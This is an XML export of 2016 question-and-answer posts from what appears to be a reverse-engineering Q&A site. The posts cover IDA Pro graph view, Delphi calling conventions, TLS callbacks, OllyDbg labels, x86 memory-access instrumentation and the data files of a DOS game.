  <row Id="14264" PostTypeId="1" AcceptedAnswerId="14281" CreationDate="2016-12-28T06:24:34.957" Score="6" ViewCount="27909" Body="&lt;p&gt;While debugging inside a loaded &lt;code&gt;exe&lt;/code&gt; process (using &lt;code&gt;IDA Pro&lt;/code&gt; as a disassembler, and &lt;code&gt;WinDbg&lt;/code&gt; as a debugger) I can right click the code view and select &lt;code&gt;Graph view&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IC3DL.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IC3DL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will switch it to this nice code-flow view that is much easier to read:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ESTGC.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ESTGC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I step into a system DLL (in this case &lt;code&gt;mshtml.dll&lt;/code&gt;) I can't seem to get that same &lt;code&gt;Graph view&lt;/code&gt; command, and instead I get this generic view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HIJDJ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HIJDJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I was wondering, if there's a way to enable &lt;code&gt;Graph view&lt;/code&gt; for a system DLL as well?&lt;/p&gt;&#xA;" OwnerUserId="14864" LastActivityDate="2016-12-29T19:59:43.937" Title="How to switch to &quot;Graph View&quot; in IDA Pro while debugging with WinDbg inside a system DLL?" Tags="|ida|disassembly|windows|debuggers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14266" PostTypeId="1" AcceptedAnswerId="14278" CreationDate="2016-12-28T19:04:04.923" Score="8" ViewCount="1212" Body="&lt;p&gt;When disassembling an old Delphi 3 executable, I find some routines that pass arguments in registers EAX, EDX, and on the stack – but not in ECX!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those routines, ECX never gets set to a 'reasonable' value. This can be seen inside the code of small functions which &lt;em&gt;do&lt;/em&gt; use EAX, EDX, and the stack, and also when such a routine is called inside a 'tight' inner block, which ought to be self-containing as far as function arguments go. (This version of Delphi clearly predates call stack optimization.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is quite surprising because according to &lt;a href=&quot;http://docwiki.embarcadero.com/RADStudio/Berlin/en/Program_Control&quot; rel=&quot;nofollow noreferrer&quot;&gt;Delphi's current owners&lt;/a&gt; (and, thus far, in my own experience), Delphi has always used &lt;code&gt;register&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Register Convention&lt;/strong&gt;&lt;br&gt;&#xA;  Under the register convention, up to three parameters are passed in CPU registers, and the rest (if any) are passed on the stack. The parameters are passed in order of declaration (as with the pascal convention), and the first three parameters that qualify are passed in the EAX, EDX, and ECX registers, in that order.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Initially, I found this in some routines that reside in &lt;code&gt;vcl30.dpl&lt;/code&gt;, the standard library, and so I assumed it was a peculiarity of that particular build (perhaps the library was created with an even older version of Delphi which did not use ECX). But now I also find &lt;em&gt;user&lt;/em&gt; routines that are missing ECX! (In both the called function and in calling it, and the function &lt;em&gt;has&lt;/em&gt; a number of stack arguments.) Inside a called function an argument may be unused, but the compiler would not know that, and it'd still provide that argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This messes up my disassembly; not only I have to provide a dummy argument in the original function's prototype, but also the back-tracking fails because my code cannot find an assignment to ECX, and so it presumes the called function only uses the first 2 arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to violate the strict &lt;code&gt;register&lt;/code&gt; calling convention. Is there a calling convention that uses the other 2 registers but &lt;em&gt;not&lt;/em&gt; ECX?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Example – a fragment where ECX gets used and thrashed, prior to calling a library function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8D4DFC          lea    ecx, [ebp+local_4]&#xA;33D2            xor    edx, edx&#xA;8BC6            mov    eax, esi&#xA;8B18            mov    ebx, [eax]&#xA;FF5350          call   [ebx+50h]  &amp;lt;- GetSaveFileName; this uses ECX as a proper argument&#xA;A144831041      mov    eax, [lpEnginePtr]&#xA;FF702C          push   [eax+2Ch]   &amp;lt;- probably a local path&#xA;6870277355      push   (address)&quot;/Saved Games/&quot;&#xA;FF75FC          push   [ebp+local_4]&#xA;8D45F8          lea    eax, [ebp+local_8]&#xA;BA03000000      mov    edx, 3&#xA;E869EAFCFF      call   System.@LStrCatN   &amp;lt;- wot no ECX?&#xA;8B55F8          mov    edx, [ebp+local_8]&#xA;A144831041      mov    eax, [lpEnginePtr]&#xA;E860630600      call   Engine.SaveFile&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which I decompile into&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call GetSaveFileName (esi, 0, addressof (local_4))&#xA;eax = lpEnginePtr&#xA;push (eax.field_2C)&#xA;push (&quot;/Saved Games/&quot;)&#xA;push (local_4)&#xA;call System.@LStrCatN (addressof (local_8), 3)&#xA;call Engine.SaveFile (lpEnginePtr, local_8)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The routine &lt;code&gt;GetSaveFileName&lt;/code&gt; uses, and clobbers, ECX, without saving it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                GetSaveFileName:&#xA;53              | push   ebx&#xA;8BD9            mov    ebx, ecx     &#xA;A140A08F55      mov    eax, lpGameSettings&#xA;8B90E4000000    mov    edx, [eax+0E4h]&#xA;8BC3            mov    eax, ebx     &#xA;B944267355      mov    ecx, (address)&quot;.sav&quot;&#xA;E856EBFCFF      call   System.@LStrCat3 &#xA;&#xA;                5573263Ah:&#xA;5B              | pop    ebx&#xA;C3              | retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The library function &lt;code&gt;System.@LStrCatN&lt;/code&gt; indeed does not read ECX at all:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;System.@LStrCatN:&#xA;    push   ebx&#xA;    push   esi&#xA;    push   edx&#xA;    push   eax         &amp;lt;-- not in the Save List&#xA;    mov    ebx, edx&#xA;    xor    eax, eax&#xA;    mov    ecx, [esp+4*edx+10h]  &amp;lt;-- overwrite ECX!&#xA;    test   ecx, ecx&#xA;    jz     41304AA7h&#xA;&#xA;41304AA4h:&#xA;    add    eax, [ecx-4]&#xA;&#xA;41304AA7h:&#xA;    dec    edx&#xA;    jnz    41304A9Ch&#xA;&#xA;41304AAAh:&#xA;    call   System.@NewAnsiString&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other routines that overwrite ECX (write without read) &lt;em&gt;do&lt;/em&gt; save ECX in the prolog.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This has been mentioned earlier in &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/2964/2959&quot;&gt;Which calling convention to use for EAX/EDX in IDA&lt;/a&gt;, but according to the comments that one was a misunderstanding and ECX was used after all.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2019-06-27T17:12:32.790" Title="Register Calling Convention: written in stone, or in mud?" Tags="|calling-conventions|delphi|register|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14267" PostTypeId="2" ParentId="14266" CreationDate="2016-12-28T19:12:51.260" Score="0" Body="&lt;p&gt;From your link:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the &lt;strong&gt;first three&lt;/strong&gt; parameters that qualify are passed in the EAX, EDX,&#xA;  and ECX registers, in that order&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(emphasis mine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the function has two parameters, it has no third parameter to pass in &lt;code&gt;ECX&lt;/code&gt;, so only &lt;code&gt;EAX&lt;/code&gt; and &lt;code&gt;EDX&lt;/code&gt; are set before calling it. Accordingly, a single-argument function uses only &lt;code&gt;EAX&lt;/code&gt; and not &lt;code&gt;EDX&lt;/code&gt; or &lt;code&gt;ECX&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-12-28T19:12:51.260" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14268" PostTypeId="1" AcceptedAnswerId="14269" CreationDate="2016-12-28T21:04:38.047" Score="4" ViewCount="3606" Body="&lt;p&gt;I am trying to reverse a PE executable (challenge tutorial). I am putting a breakpoint on the first instruction of the program, at the entry point. There is nothing executed before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get a software breakpoint exception when I run the program. I think this is a debugger detection system. But I do not know where is the code that throws this exception, because I have not reach my program entry point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exception throws from &lt;code&gt;ntdll.dll&lt;/code&gt; I want to understand how can code from &lt;code&gt;ntdll.dll&lt;/code&gt; can be executed BEFORE the entry point of my binary&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="18590" LastEditorUserId="2147" LastEditDate="2016-12-28T23:25:58.163" LastActivityDate="2016-12-28T23:25:58.163" Title="IDA Strange exception before code is executed" Tags="|ida|pe|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14269" PostTypeId="2" ParentId="14268" CreationDate="2016-12-28T21:39:23.767" Score="6" Body="&lt;p&gt;One thing that runs before the entrypoint is &lt;a href=&quot;http://www.hexblog.com/?p=9&quot; rel=&quot;noreferrer&quot;&gt;TLS callbacks&lt;/a&gt;, so check if your binary has them.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-12-28T21:39:23.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14271" PostTypeId="2" ParentId="14268" CreationDate="2016-12-28T23:25:08.153" Score="2" Body="&lt;p&gt;no offense intended but this question demonstrates some basic lack of understanding of how windows loads user-mode processes, how how user-mode code and executables are built.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll list a few missing pieces:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;As Igor mentioned, TLS callbacks are often called before the entry point is executed and are used to setup tasks before any code is executed (global object constructors is one example). TLS callbacks are occasionally used by the compiler for certain tasks as well as in a set of anti-debugging techniques.&lt;/li&gt;&#xA;&lt;li&gt;When a usermode process starts, its first executed instruction is NOT the executable's entry point. There's a decent amount of loader code executed in the context of the created process (initializing the default heap, setting up parts of the TEB and PEB, etc).&lt;/li&gt;&#xA;&lt;li&gt;Normally, an executable's entry point is not your &lt;code&gt;int main(int argc, char* argv[])&lt;/code&gt;. The compiler has a wrapper function that is where the PE's entrypoint points to, and main is only called by it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I would suggest you read the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ms809762.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Peering Inside the PE&lt;/a&gt;, as it describes those processes really in-depth.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-12-28T23:25:08.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14273" PostTypeId="1" CreationDate="2016-12-29T01:17:34.440" Score="1" ViewCount="693" Body="&lt;p&gt;I have a piece of Base64 that I have been tasked with decoding. I am not sure what the resulting output is supposed to be, but it is not an image because it does not decode when I try that, and when I try to convert it to text, here is what I get (It is in a code block because the backtick characters in the garbled text were causing inline code formatting issues.):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Xaì`N Þ­;zåLã´Üc^»7adi[³øòÜDG0Å³%¯úÆfo`5Yý'¸a½¯8úßÐK4pôÙ%@ãYüî»Ux¨&amp;gt;ib{1.õ6Üy¨kº·X@ª%ýñòïÀÆVíd&#xA;§ªÃq§QAWýðÆ+@Ñ?]áKõ2Ðºo&amp;lt;GÁóAé.\Pï1v\&quot;§ê½&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Base64 encoding is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hgABAgFYYZzsYE4g3q07euVM47STGtxjXrs3kYJhZAFpW7OI+PLcnIlERzDFs4slr/rGZm9gkwg1&#xA;Wf0nuGG9rzib+t/QSzRw9NklQONZ/H/uux9VeBCoPmliE3sxLvU2kp3ceahrurdYQKolH/3x8u/A&#xA;xlbtn2QBDaeqw3Ebp1FBiFf98MYrQNE/XYrhlUv1MtC6bzyVR8HzQYDpLlxQFO8xDnZcIqfqvQM=&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="18593" LastActivityDate="2016-12-30T14:18:19.920" Title="Decoding Base64 is Garbled" Tags="|encodings|" AnswerCount="1" CommentCount="0" ClosedDate="2016-12-31T19:44:50.170" ContentLicense="CC BY-SA 3.0" />
  <row Id="14276" PostTypeId="1" CreationDate="2016-12-29T07:19:07.143" Score="0" ViewCount="5238" Body="&lt;p&gt;Hex Rays decompiler assigns weird looking data types to variables, e.g. &lt;code&gt;__int64&lt;/code&gt;. How do I get to know what all are the built-in data types available in IDA?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2017-03-09T16:44:26.610" Title="What all are the built-in data types available in IDA?" Tags="|ida|hexrays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14277" PostTypeId="1" CreationDate="2016-12-29T08:11:55.330" Score="0" ViewCount="668" Body="&lt;p&gt;I have a lot of CALL 0x000XYZW in my code. I want to tell ollydbg that 0x000XYZW address is the function &quot;my_function&quot;, and then see CALL my_function in my CPU window. Is it possible to do that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="18590" LastActivityDate="2022-12-26T02:00:40.093" Title="How to set a label to a memory address in ollydbg2" Tags="|ollydbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14278" PostTypeId="2" ParentId="14266" CreationDate="2016-12-29T09:33:47.147" Score="7" Body="&lt;p&gt;If the compiler can prove that it has all call sites for a given function under its control then it can discard conventions and arrange things around to its liking. Microsoft's C/C++ compiler has been doing this for decades in connection with link-time code generation and profile-guided optimisation, especially internal copies of the compiler like the one used to compile the Visual FoxPro executables. This causes no end of additional fun when analysing such executables with IDA, since all pre-programmed conventions basically go out of the window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That applies only in 32-bit mode, though. In 64-bit mode Windows mandates adherence to its ABI for all non-leaf functions (including the registering of the call frame layout in meta data) to ensure full stack frame traceability. This means that the compiler doesn't have a lot of leeway here...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the way Delphi works it is conceivable that the compiler might make similar adjustments with regard to parameter passing for functions that are local to the implementation section of a unit or nested functions, provided that the address of the function is never taken and passed outside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The comment conversation with Rad Lexus elicited another important aspect: system functions do not necessarily play by the same rules as 'ordinary' functions, especially those functions that are intended to be called implicitly by compiler-generated code instead of being invoked explicitly by user code. The compiler may have extended information on these system functions, like clobbered registers, unusual parameter locations, 'nothrow', 'noreturn' and so on. This extended information could be in System unit meta data or hardcoded directly into the compiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;@LStrCatN&lt;/code&gt; is a special since it is a vararg function with callee cleanup (which is very unusual). It needs special treatment by the compiler in any case because the compiler must pass the actual number of pointers on the stack as a parameter to the function.&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="10027" LastEditDate="2016-12-30T11:09:30.257" LastActivityDate="2016-12-30T11:09:30.257" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14279" PostTypeId="2" ParentId="14277" CreationDate="2016-12-29T12:14:47.293" Score="2" Body="&lt;p&gt;Select the call. Line. Right click follow then hit the colon key. Ollydbg should pop up label window enter the name like. Myfunc. And that's it   press Ctrl a to analyze if need be &lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit &#xA;may be i have my shortcuts revised if it is not &lt;strong&gt;colon&lt;/strong&gt; key try &lt;strong&gt;semicolon&lt;/strong&gt; key &#xA;or use the &lt;strong&gt;shortcut editor&lt;/strong&gt; to revise labeling operation to some special key sequence of your choice&lt;br&gt;&#xA;i have added a snapshot to address your comment &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7CBbQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7CBbQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2017-01-24T08:28:20.787" LastActivityDate="2017-01-24T08:28:20.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14281" PostTypeId="2" ParentId="14264" CreationDate="2016-12-29T19:52:17.550" Score="11" Body="&lt;p&gt;IDA can only display functions in graph mode, so in order to see that code as a graph, you must:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Find the start of the function&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Search for a prologue, such as &lt;code&gt;push ebp&lt;/code&gt;, &lt;code&gt;mov ebp, esp&lt;/code&gt;&lt;sup&gt;1&lt;/sup&gt;, and find the start of the function. If it gets hard, you can always load debug symbols&lt;sup&gt;2&lt;/sup&gt; and find the start like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1: Actually, most Microsoft DLLs are compiled with the hotpatch option, which means that the prologue is prefixed with &lt;code&gt;mov edi, edi&lt;/code&gt; (&lt;a href=&quot;https://blogs.msdn.microsoft.com/oldnewthing/20110921-00/?p=9583&quot; rel=&quot;noreferrer&quot;&gt;here's why&lt;/a&gt;), so searching for that instruction should be very easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2: In the WinDbg command line, write &lt;code&gt;.symfix&lt;/code&gt; to fix the symbols path and &lt;code&gt;.reload /f mshtml.dll&lt;/code&gt; to reload the symbols for that module. Alternatively, go to &lt;code&gt;Debugger&lt;/code&gt; -&gt; &lt;code&gt;Debugger windows&lt;/code&gt; -&gt; &lt;code&gt;Modules list&lt;/code&gt;, find &lt;code&gt;mshtml.dll&lt;/code&gt; in the window, right-click it and choose &quot;Load debug symbols&quot;. Then, simply use the &lt;code&gt;Functions&lt;/code&gt; window or the status bar to find the start of the function.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Make it a function&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Put the cursor at the start, and press &lt;kbd&gt;P&lt;/kbd&gt;. Now press &lt;kbd&gt;Space&lt;/kbd&gt; and you'll be in graph mode!&lt;/p&gt;&#xA;" OwnerUserId="17693" LastEditorUserId="17693" LastEditDate="2016-12-29T19:59:43.937" LastActivityDate="2016-12-29T19:59:43.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14285" PostTypeId="1" CreationDate="2016-12-29T21:03:23.617" Score="0" ViewCount="376" Body="&lt;p&gt;I have a mechanism that maps memory addresses to other memory addresses, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  0x10000 -&amp;gt; 0xA0000&#xA;  0x20000 -&amp;gt; 0x99000000&#xA;  0x340000 -&amp;gt; 0x50000000 ; Stack in this example&#xA;}&#xA;&#xA;Some example data:&#xA;loc 0xA0000: 0x20000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm running code in a simulated environment where the code thinks it's located somewhere, but in reality it is located somewhere else. Therefore I need to instrument every memory access, implicit or explicit, so that any reads or writes happens to the actual memory location and not the one the program thinks it's accessing. This means memory addresses can be passed around in the program as their original value as long the actual access has its address translated so the access is redirected behind the scenes. It also means certain instructions such as &lt;code&gt;call&lt;/code&gt; or &lt;code&gt;jmp&lt;/code&gt; must go through the same translation, so that the program believes it's actually calling or jumping to the original value, but the destination is translated behind the scenes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not entirely sure how to achieve this due to the CISC nature of x86. For example, just look at the breakdown of some instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, 0x10000&#xA;; Stays as &quot;mov eax, 0x10000&quot; since it's not a memory access&#xA;&#xA;mov ebx, [eax]&#xA;; 0x10000-&amp;gt;0xA0000&#xA;; becomes &quot;mov ebx, [0xA0000]&quot; which loads 0x20000&#xA;&#xA;push eax&#xA;; (stack)0x340000-&amp;gt;0x50000000&#xA;; becomes &quot;push 0x10000 to 0x50000000&quot;&#xA;&#xA;call eax&#xA;; 0x10000-&amp;gt;0xA0000&#xA;; becomes &quot;call 0xA0000&quot;&#xA;&#xA;call [0x10000]&#xA;; 0x10000-&amp;gt;0xA0000, 0x20000-&amp;gt;0x99000000&#xA;; becomes &quot;read what's in 0xA0000, receive 0x20000, convert that to 0x99000000, call 0x99000000&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't think a disassembler or decomposer would be fine-grained enough for my needs since I need to know every implicit memory access per instruction, so that leaves me with using intermediate representations such as OpenREIL. However, it won't be enough to just transform the instruction into its corresponding low-level building blocks (IR) and pass every memory access found therein through the mapping mechanism, as I would also need to transform it back to x86 instructions so I can actually run it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? x86 to LLVM IR, do some changes, then back to x86, perhaps?&lt;/p&gt;&#xA;" OwnerUserId="18594" LastEditorUserId="18594" LastEditDate="2016-12-29T23:44:42.710" LastActivityDate="2016-12-31T09:44:05.523" Title="How to perform memory address translation on x86 instructions?" Tags="|x86|memory|dynamic-analysis|instrumentation|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14286" PostTypeId="1" AcceptedAnswerId="14405" CreationDate="2016-12-30T03:09:18.070" Score="0" ViewCount="813" Body="&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a function in a process on the memory address: &lt;code&gt;0xABCDEF&lt;/code&gt;, but that function cannot be called outside of original thread, it's possible to call it or hook it somehow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To what i'm going it's C++ on DLL injection...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it was possible using &lt;code&gt;CreateRemoteThread&lt;/code&gt;, but i don't know if it is necessary to pass the id of the thread.&lt;/p&gt;&#xA;" OwnerUserId="17950" LastActivityDate="2017-02-12T23:29:38.937" Title="It's possible call a function outside a original thread?" Tags="|c++|function-hooking|dll-injection|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14287" PostTypeId="1" CreationDate="2016-12-30T06:53:03.180" Score="3" ViewCount="1252" Body="&lt;p&gt;I would like to figure out the data format used by an old &lt;a href=&quot;https://archive.org/details/msdos_Super_Bubble_Mania_1997&quot; rel=&quot;nofollow noreferrer&quot;&gt;DOS game&lt;/a&gt; I used to play when I was a kid. That link includes a full download for all the files and it runs fine in DOSBox if you want to try it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The game's main executable (once you run the installer) is &lt;code&gt;Z#.EXE&lt;/code&gt;, which file identifies as &quot;MS-DOS executable, COFF for MS-DOS, DJGPP go32 DOS extender&quot;. Binwalk returns nothing interesting besides a few copyright strings - by trying the &lt;code&gt;-X&lt;/code&gt; option, it finds a ton of deflate streams which seem bogus. Strings however shows interesting stuff :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stub.h generated from stub.asm by djasm, on Sat Oct  5 20:49:01 1996&#xA;The STUB.EXE stub loader is Copyright (C) 1993-1995 DJ Delorie.&#xA;...&#xA;$Id: stub.asm built 10/05/96 20:49:00 by djasm $&#xA;...&#xA;go32stub, v 2.00T&#xA;...&#xA;O2C - v1.0 - RiCO/SPiRiT - Richard Spijkers&#xA;...&#xA;popr0%d.vg2&#xA;popr1%d.vg2&#xA;popr2%d.vg2&#xA;popr3%d.vg2&#xA;popb0%d.vg2&#xA;popb1%d.vg2&#xA;popb2%d.vg2&#xA;popb3%d.vg2&#xA;popp0%d.vg2&#xA;popp1%d.vg2&#xA;popp2%d.vg2&#xA;popp3%d.vg2&#xA;r01.VG2&#xA;r02.VG2&#xA;r03.VG2&#xA;r04.VG2&#xA;r05.VG2&#xA;b01.VG2&#xA;b02.VG2&#xA;b03.VG2&#xA;b04.VG2&#xA;b05.VG2&#xA;p01.VG2&#xA;p02.VG2&#xA;p03.VG2&#xA;p04.VG2&#xA;p05.VG2&#xA;popg1%d.vg2&#xA;popg2%d.vg2&#xA;popg3%d.vg2&#xA;g01.VG2&#xA;g02.VG2&#xA;g03.VG2&#xA;r401.VG2&#xA;r401b.VG2&#xA;r402.VG2&#xA;r402b.VG2&#xA;r403.VG2&#xA;r403b.VG2&#xA;...&#xA;demodisk.vg2&#xA;stagecom.vg2&#xA;pop.vg2&#xA;cursor.vg2&#xA;energy.vg2&#xA;logo.vg2&#xA;readyr.vg2&#xA;readye.vg2&#xA;readya.vg2&#xA;readyd.vg2&#xA;readyy.vg2&#xA;...&#xA;Error loading Song&#xA;PANG%02d.LV2&#xA;RAIN.SNG&#xA;BOSS1.SNG&#xA;Error loading level &#xA;The combined level file is corrupt.&#xA;...&#xA;BUBBLE.PCX&#xA;PREVIEW1.PCX&#xA;PREVIEW2.PCX&#xA;PREVIEW3.PCX&#xA;PREVIEW4.PCX&#xA;PANG1.PCX&#xA;VShI&#xA;uLA9&#xA;BMBLEV&#xA;BMBARS&#xA;BMBIG&#xA;BMGRAB&#xA;PANG%02d.PCX&#xA;...&#xA;GENERAL.SNG&#xA;CREDITS.SNG&#xA;...&#xA;TITLE.PCX&#xA;error loading title screen (TITLE.PCX)&#xA;...&#xA;BMANIASW.CDF ### the data file&#xA;unable to locate data file BMANIASW.CDF.&#xA;...&#xA;SPLIT.RAW&#xA;GUN.RAW&#xA;YEAH.RAW&#xA;GROUP.RAW&#xA;HSTUCK.RAW&#xA;BONUS.RAW&#xA;SPLITTER.RAW&#xA;TICK.RAW&#xA;CLOCK.RAW&#xA;OHYEAH.RAW&#xA;BOSSHIT.RAW&#xA;LAUGH.RAW&#xA;TRUMPET.RAW&#xA;YBIRD.RAW&#xA;MENUMOVE.RAW&#xA;MENUHIT.RAW&#xA;SCORE.RAW&#xA;BMANIA.PAL&#xA;...&#xA;Cannot open CF file.&#xA;Unable to locate combined file: &#xA;abnormal program termination.&#xA;Unable to read from combined file.&#xA;...&#xA;man%d.vg2&#xA;arrow.vg2&#xA;0,1,2,3,4&#xA;harp%d.vg2&#xA;guna0.vg2&#xA;gunb0.vg2&#xA;gunc0.vg2&#xA;manh%d.vg2&#xA;man0.vg2&#xA;man4.vg2&#xA;manhitg.vg2&#xA;manf0.vg2&#xA;manf1.vg2&#xA;manf2.vg2&#xA;manf3.vg2&#xA;0,1,2,3&#xA;manc%d.vg2&#xA;shield.vg2&#xA;mans4.vg2&#xA;...&#xA;rhinoh1.vg2&#xA;rhinoh2.vg2&#xA;rhinoh3.vg2&#xA;rhino1.vg2&#xA;rhino2.vg2&#xA;rhino3.vg2&#xA;rhino4.vg2&#xA;rhino5.vg2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first few suggest that &lt;a href=&quot;http://www.delorie.com/djgpp/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DJGPP&lt;/a&gt; was used to compile the file, and then a ton of what looks like filenames follow, with some error strings as well as a reference to &lt;code&gt;BMANIASW.CDF&lt;/code&gt; which is either the game's actual data/asset file. The full strings output is &lt;a href=&quot;http://pastebin.com/raw/D8dn4vvw&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the data file, binwalk finds nothing besides LZMA streams which again seem like false positives. Strings shows very repetitive patterns as well as totally random onee, plus more filenames at the end of the file, so it looks like there is both uncompressed data as well as compressed. The full strings output is &lt;a href=&quot;http://pastebin.com/raw/6SYjEbHc&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone recognize this type of compression, or could hint at which tools to try next?&lt;/p&gt;&#xA;" OwnerUserId="18609" LastEditorUserId="18580" LastEditDate="2017-01-01T21:56:48.493" LastActivityDate="2017-01-01T21:56:48.493" Title="Reverse-engineering DOS game's data files" Tags="|disassembly|binary-analysis|file-format|decompress|dos|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
